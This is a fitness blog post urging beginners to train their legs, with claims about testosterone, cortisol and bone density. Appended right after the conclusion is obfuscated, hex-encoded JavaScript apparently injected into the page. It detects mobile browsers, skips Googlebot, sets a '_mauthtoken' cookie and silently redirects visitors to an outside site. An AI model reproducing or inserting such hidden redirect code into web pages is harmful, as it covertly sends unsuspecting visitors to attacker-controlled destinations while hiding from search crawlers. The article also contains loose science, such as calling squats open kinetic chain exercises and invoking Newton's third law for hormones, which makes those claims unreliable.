You Are Here: Home » Muscle Building » Neglecting Legs: A Beginners Mistake

Neglecting Legs: A Beginners Mistake

The next time you enter your local gym, take a look around and see if you can spot the people who do not work their legs. They have these well built upper bodies and toothpicks for legs.  I have heard all the excuses for not working legs known to man.  My favorite: Women don’t look at legs, they look at the chest, arms, and abs.  Critical mistake – neglecting ones legs can cause you problems in your resistance training.

Your legs are comprised of one of the largest and potentially strongest muscle groups found on the human body – the quadriceps.  In addition to being the strongest and heaviest, they also can assist you in elevating testosterone levels, the anabolic (growth) hormone that will help you gain size and future strength.

Myth Busting:Before I go on, I want to clarify that doing leg resistance training is not the only way to naturally increase testosterone levels.  Earlier, studies demonstrated that incorporating squats and leg press into ones training programs would increase testosterone levels.  Although this is true, it is also true that lifting heavy with other major muscle groups (chest, back, etc) will stimulate an increase in testosterone levels.  Therefore it seems to be that the increase in testosterone is dependent on the amount of resistance applied to the body, ergo to stimulate the greatest increase in testosterone, one should incorporate leg training as they are the strongest muscles in the body.

Testosterone: The Natural Anabolic Hormone

Testosterone serves many functions, but the most important with respect to resistance training is stimulating protein synthesis and growth of tissues with androgen receptors (muscles for example).  Furthermore, testosterone serves as an anabolic hormone that stimulates growth.  It can increase muscle mass, bone density, and strength.

Newton’s Third Law of Motion

For every action, there is an equal and opposite reaction.’

And within the homeostatic properties of the human body, this holds true.  Testosterone’s nemesis is cortisol.  High levels of cortisol occur due to excessive stress (attributed to either physical, mental, or emotional sources).  Cortisol is a catabolic hormone and causes degradation of the body and inhibits growth of new tissue.  Prolonged high volume training or high intensity training can cause increases in cortisol levels.

Benefits of Working Legs

So with a basic understanding of the effects of testosterone and cortisol – why should one work legs?  Here is a list of 5 reasons why:

  1. Muscle symmetry: By constantly working upper body, you will look unbalanced and ‘top heavy’ over time.
  2. Core Stability: By working legs through open kinetic chain exercises (squats, deadlifts, etc), one will increase their core strength and stability.
  3. Increased Testosterone Levels: As mentioned previously, the amount of force displaced by the body seems to be related with the increase in testosterone levels.  By working the strongest muscles in the body (legs) you will be able to reap all the benefits of testosterone for muscle mass.
  4. Decreased chance of Overtraining: By incorporating a leg day into your routine, you decrease your risk of overtraining other muscle groups.  This gives your other muscle groups such as chest another day of recovery.
  5. Increased Bone Density: As one ages, their bone density decreases over time.  This is true for everyone – however resistance training can limit the rate of reduction and can increase ones bone density.  Furthermore, squats place a considerable amount of stress over the entire body therefore serve to target all areas.

 

Conclusion

Don’t forget your legs – they need to be part of any able body resistance training program.  Neglecting legs can hinder your growth, so hit the squat rack once a week and see what happens to your other lifts.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Clip to Evernote

© 2011 Powered By Wordpress, Goodnews Theme By Momizat Team

Scroll to top